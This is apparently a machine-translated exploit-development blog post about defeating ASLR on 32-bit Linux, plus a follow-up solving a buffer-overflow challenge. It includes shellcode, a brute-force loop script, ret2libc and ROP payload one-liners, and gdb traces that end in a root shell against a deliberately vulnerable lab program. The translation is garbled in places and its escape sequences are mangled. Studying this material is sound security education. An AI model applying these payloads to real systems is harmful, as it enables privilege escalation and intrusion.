17 Aug ASLR: Being a postman in the city where they change the street names
This beautiful morning (I do not know what time you will read this) we will see in more depth the ASLR.
ASLR (not ASMR) attends the words Address Space Layout Randomization. Is a technique that was designed at the beginning of the century with DEP/NX/W^X/ etc whose aim was to avoid the determinism of the addresses in the stack, so that an attacker who, in his laboratory replicated in all aspects possible attacked the system remains unable to predict in which direction the libraries are loaded, or the stack will be located, or if there is fortune and binary foot, where the binary will be charged. Clearly this is a great difficulty to know how the raffle, but that they are easy to check if a system has enabled ASLR
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
If I had a value
0, the ASLR will be disabled. In this case the level is
2, ie (… / sysctl / kernel.txt) Addresses are randomized, in addition to those randomized to the level
1: reserved with
mmap(), the stack, and although we are less interested because we do not yet see the faces with the kernel, addresses vDSO (interesting). Considering that used
mmap() to load the libraries and binary, this means that the base addresses of all these components. Until now, it have not worked with binary PIE, in a system with ASLR allow this use to be randomized just a ret2plt perhaps some simple ret2syscall, but that would only for execve() (which can serve a privesc or remote where the program exploited has redirected the
stdout to the socket with the connection used by the attacker, which is very rare, but rare programs are everywhere. I remember something made programs Exploit Exercises Fusion machine). If the binary is large, are more likely to find what we need, one small everything is more difficult. But nevertheless, if we are facing a binary PIE things darken even further, and it becomes an obligation solve this problem head. It can be achieved in two ways: (vulgar, but always present) by brute force, or (smart) taking advantage of a memory leak.
An entry for memory leaks already appear here, here we see the controlled application (as contradictory as it sounds) of brute force.
ASLR studies how it works internally. We distinguish three areas of the process: binary, libraries and / or other areas reserved for mmap(), and the stack. Each of these areas has a variable assigned on the structure of the process, these being
delta_stack. To load the program, the system places in these variables partially random values in the first two values, 16 bits are randomized, and at last, the stack 24 bits. These values are added to each predefined base address to give an unpredictable movement of said segments in the virtual address space process. Let’s study the position in the memory of any variable stack in successive runs on the same system being activated by ASLR
$ cat aslr.c #include <stdio.h>
$ gcc aslr.c -o aslr -m32
According, we see that vary 3 bytes of the 4 forming direction, ie in principle 24 bits.
0xffda035c = 11111111 11011010 00000011 01011100 0xffdcc92c = 11111111 11011100 11001001 00101100 0xffb8d8fc = 11111111 10111000 11011000 11111100 0xffc9380c = 11111111 11001001 00111000 00001100 0xffc04b8c = 11111111 11000000 01001011 10001100
We see that the first bit of the second byte of each address matches. In the byte minor also they match two bits, but because it is an offset. We can deduce that only 23 bits are scrambled, not 24. However, the offset we are also interested because several bits coincide quite frequently. We must add that the stack must be aligned with 0x10, so the possible places to find the stack are further reduced. All these factors increase the likelihood that the launch a brute force attack against a particular direction, is obtained.
Let’s recover an old friend
#include <stdio.h> #include <string.h>
void imprimir(char* arg)
int main(int argc, char** argv)
if(argc < 2) return 1;
Compiled with NX disabled and
ltrace we get with the direction of that moment of
$ gcc vuln.c -o vuln -m32 -z execstack
$ ltrace ./vuln `cat sc.o“perl -e ‘print “A”x(140-31) . “xaaxaaxaaxff”‘`
__libc_start_main(0x56601602, 2, 0xffa4cb84, 0x56601650 <unfinished …>
strcpy(0xffa4ca30, “130013333152001300Ph//shh/bin211343PS2113411322260v315200A”…) = 0xffa4ca30
puts([…]) = 145
— SIGSEGV (Segmentation fault) —
+++ killed by SIGSEGV +++
Then a valid address for our
0xffa4ca30. A nopsled could make things pretty, and even more if you were in a variable environment. But let’s first try using only our small buffer.
#!/bin/sh i=0 while : do echo "Intento: $i" ./vuln `cat sc.o``perl -e 'print "A"x(140-31) . "x30xcaxa4xff"'` i=$((i+1)) done
Run it, and wait
I just came back (as I was taking), and has already finished brute force, trying 472,449 (more than previous executions, as I have tried several scripts to see which was the fastest and practical, so we should add a few more attempts).
$ ./aslr.sh Intento: 0 1�1�̀1�Ph//shh/bin��PS��1Ұ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ʤ� Segmentation fault (core dumped) Intento: 1 1�1�̀1�Ph//shh/bin��PS��1Ұ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ʤ� Segmentation fault (core dumped) . . . Intento: 472446 1�1�̀1�Ph//shh/bin��PS��1Ұ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ʤ� Segmentation fault (core dumped) Intento: 472447 1�1�̀1�Ph//shh/bin��PS��1Ұ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ʤ� Segmentation fault (core dumped) Intento: 472448 1�1�̀1�Ph//shh/bin��PS��1Ұ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ʤ� $
[Sorry for forgetting to do setuid: /] As I was not here when the wonderful event happened. I cannot say how long it took. Obviously, this is fate, it is the grace to do a brute force, just run it again to calculate how fast attempts were made and has succeeded in 1487. Blackngel succeeded in the attempt number 22, by doing so in an variable environment, which could employ a large size. Let’s to try a setuid, to see how it would.
Intento: 23122 1�1�̀1�Ph//shh/bin��PS��1Ұ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ʤ� # whoami root #
In short, it is a matter of “luck” that has taken so long before and now not even a minute late … (also now more agile and makes your computer much faster attempts).
We got bypassear ASLR, taking advantage of the process does not have NX. To avoid NX should make a ROP, as we have seen. The problem is that in the ROP more factors come into play, but also obviously depends on how you do the ROP. A ROP which was localized in segments where a different
delta variable is used addresses, decreases the likelihood of success. A ROP where address stack, a library is used (or several, since all libraries are loaded with
mmap(), so that all share
delta_mmap) and binary requires an execution converge the three variables,
delta_exec, which is highly unlikely.
However, it only addresses using the library, can be achieved success, and indeed more likely than a stack, since the stack has a randomizing factor 24, and 16 libraries. Let us see
$ ldd vuln linux-gate.so.1 (0xf77ba000) libc.so.6 => /lib32/libc.so.6 (0xf75e0000) /lib/ld-linux.so.2 (0xf77bc000)
We have obtained a base address of each valid library, now use it to get directions from
/bin/sh in the libc
$ python2 ROPgadget/ROPgadget.py --binary /lib32/libc.so.6 --string /bin/sh --offset 0xf75e0000
0xf773ccc8 : /bin/sh
$ readelf /lib32/libc.so.6 -a | grep system 246: 00113c60 68 FUNC GLOBAL DEFAULT 13 [email protected]@GLIBC_2.0 628: 0003a850 55 FUNC GLOBAL DEFAULT 13 [email protected]@GLIBC_PRIVATE 1461: 0003a850 55 FUNC WEAK DEFAULT 13 [email protected]@GLIBC_2.0
0x0003a850 + 0xf75e0000 = 0xf761a850
Perfect. The exploitation cannot be easier. The reward comes in a second
$ cat aslr.sh
echo "Intento: $i"
./vuln `perl -e 'print "A"x140 . "x50xa8x61xf7" . "xaaxaaxaaxaa" . "xc8xccx73xf7"'`
After closing the shell program breaks because we have not bothered to place the direction of
ret course for
It continues the script by brute force. In fact it’s funny that after the
exit command, it obtain a root again in less than a second
We have achieved a privilege elevation bypasseando ASLR and NX by an ROP that simple.
Clearly such a large number of executions can easily jump any alarm, and indeed should not be very advisable to do so. Of course, there may be some mechanism that prevents a program a number of times to run in a very short period of time … The “right” way to evade ASLR is through a memory leak (“correct” in the sense that it is safer, because in this “right” case is any technique that leads to success, but the exploiting is not real life … or yes?)
In a remote exploit this does not work as a server can make a
fork() to handle each request received.
fork() creates a process just like the parent, this does not change the variables
delta_* (is an exact copy of the parent process), so that different requests will be handled by processes with the same virtual addresses, which prevents us from doing strength gross, since grace of brute force is varying directions. Brute force could be made to different instances of the entire server, it would be necessary to kill the father (may suffice SIGSEGV) and that the system existed a service charge restart the server if this die, thus itself would vary addresses and could make our attack in this way. This feature prevents us now from brute force.
We have seen that, although unwise, brute force is always an option. See you in the next post, greetings.
makes a pair of posts proposed a challenge in which we meet an old friend:
#include <stdio.h> #include <string.h>
void print(char* arg)
int main(int argc, char** argv)
if(argc < 2) return 1;
This time we asked to solve an original differently than those already given in another post (a between the post and another in solutionary). Let’s my solution scheme.
high addresses +-------------------+ | 0x00000000 | We will take advantage of a 0x00000000 that is lost in the stack +-------------------+ | &leave;ret | +-------------------+ | &setuid() | +-------------------+ | &ret | +-------------------+ | | . . | | +-------------------+ | &ret | +-------------------+ | &ret | EIP(s) +-------------------+ | &buf - 4 | EBP(s) Here we put a fail EBP fake +-------------------+ <- EBP (initially) | ... | (?? bytes, gcc hitngs, always leaves things aroung) Refill +-------------------+ <- End buf | ... | Refill (116 bytes) +-------------------+ | &"/bin/sh" | +-------------------+ | &exit() | +-------------------+ | &system() | +-------------------+ <- buf (128 bytes) | ... | +-------------------+ <- ESP (initially) low addresses
Once we have made an outline of the process of exploitation going to use, we had our perl one-line (and, I know that many people would use python, which would be clearer, but Blackngel has struck me in this, plus if we do it in python, would have to write more than a one-line, I remember CLS @pastaCLS baptized me as “the perl one-liner“).
Well, one way to calculate the filling must introduce without
create_pattern Metasploit and other tools is seeing the code in asm, noticing how specifically referenced the buffer:
804844a: 8d 85 78 ff ff ff lea eax,[ebp-0x88]
8048450: 50 push eax
8048451: e8 aa fe ff ff call 8048300 <[email protected]>
Therefore, buf is 0x88 (136 dec) bytes under
EBP(s). So first we introduce the address &system, &exit, &”/bin/sh” plus a fill of 124 bytes.
0xf7f5ecc8 : /bin/sh (ROPgadget) 0xf7e3c850 <system> (gdb) 0xf7e30800 <exit> -> nope (byte 0x00 and earlier dirs do not serve) -> 0xf7eb35c5 <_exit> (gdb) 0xf7eb3d60 <setuid> (gdb) 8048527: c3 ret (objdump)
804846c: c9 leave
804846d: c3 ret (objdump)
We can already do most of the exploit, the first thing we are placing the directions that we will introduce at least (probably have to enter several
&ret‘s to reach
0x00000000 remaining as an argument to setuid(), but for now we will place only one
perl -e 'print "x50xc8xe3xf7" . "xc5x35xebxf7" . "xc8xecxf5xf7" . "A"x124 . "xaaxaaxffxff" . "x27x85x04x08" . "x60x3dxebxf7" . "x6cx84x04x08"'
Now let’s check the stack looking for a close NULL
$ gdb -q vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) disas imprimir
Dump of assembler code for function imprimir:
0x0804843b <+0>: push %ebp
0x0804843c <+1>: mov %esp,%ebp
0x0804843e <+3>: sub $0x88,%esp
0x08048444 <+9>: sub $0x8,%esp
0x08048447 <+12>: pushl 0x8(%ebp)
0x0804844a <+15>: lea -0x88(%ebp),%eax
0x08048450 <+21>: push %eax
0x08048451 <+22>: call 0x8048300 <[email protected]>
0x08048456 <+27>: add $0x10,%esp
0x08048459 <+30>: sub $0xc,%esp
0x0804845c <+33>: lea -0x88(%ebp),%eax
0x08048462 <+39>: push %eax
0x08048463 <+40>: call 0x8048310 <[email protected]>
0x08048468 <+45>: add $0x10,%esp
0x0804846b <+48>: nop
0x0804846c <+49>: leave
0x0804846d <+50>: ret
End of assembler dump.
(gdb) br *print +50
Breakpoint 1 at 0x804846d
(gdb) run "`perl -e 'print "x50xc8xe3xf7" . "xc5x35xebxf7" . "xc8xecxf5xf7" . "A"x124 . "xaaxaaxffxff" . "x27x85x04x08" . "x60x3dxebxf7" . "x6cx84x04x08"'`"
Starting program: /home/arget/vuln "`perl -e 'print "x50xc8xe3xf7" . "xc5x35xebxf7" . "xc8xecxf5xf7" . "A"x124 . "xaaxaaxffxff" . "x27x85x04x08" . "x60x3dxebxf7" . "x6cx84x04x08"'`"
Breakpoint 1, 0x0804846d in print ()
(gdb) x $esp
0xffffd2ac: 0x08048527 # &ret
0xffffd2b0: 0xf7eb3d60 # &setuid()
0xffffd2b4: 0x0804846c # &leave;ret
(In the output of the delete program bytes unprintable, because he has already given me some a headache from deformating the text in the post, as some may indicate a vertical tab, page break or similar things marring design blog). We find a NULL 5 above positions, so that we will introduce 4 more ret’s.
perl -e 'print "x50xc8xe3xf7" . "xc5x35xebxf7" . "xc8xecxf5xf7" . "A"x124 . "xaaxaaxffxff" . "x27x85x04x08"x5 . "x60x3dxebxf7" . "x6cx84x04x08"'
The operation will occur as follows:
leave print() collects in the EBP a false frame pointing four bytes under the beginning of our buffer (where we put our ROP
system("/bin/sh") + exit()) .
ret print() contains one address to another
ret instruction, which in turn collect
ret another direction, is simply a way to get where we arrive at two positions after 0x00000000 (have to be two positions for setuid () recognizes the 0x00000000 as an argument). It would also use a gadget pop,pop,pop,pop;ret and place stuffing, but I preferred this, which does not modify the registers.
– The last
ret collect &setuid, which recognizes as an argument the two positions 0x00000000 beyond because it believes that the function has been called a
– setuid() ends and executes a
ret where should be the
EIP(s), which collects in EIP address of a
leave the first move of EBP to ESP the buf-4 direction, to subsequently make a
pop ebp to collect trash in the EBP and increase the ESP in 4 bytes, pointing at the beginning of buf. Finally, the
ret instruction buf collect the start address & classic system ushering ROP.
We will find the address buf and run it.
[unset environment LINES y COLUMNS] Breakpoint 2, 0x08048456 in print () (gdb) x $esp 0xffffd210: 0xffffd220
$ /home/arget/vuln "`perl -e 'print "x50xc8xe3xf7" . "xc5x35xebxf7" . "xc8xecxf5xf7" . "A"x124 . "x1cxd2xffxff" . "x27x85x04x08"x5 . "x60x3dxebxf7" . "x6cx84x04x08"'`"
This little program will last us for a while. How many different ways can exploit a program?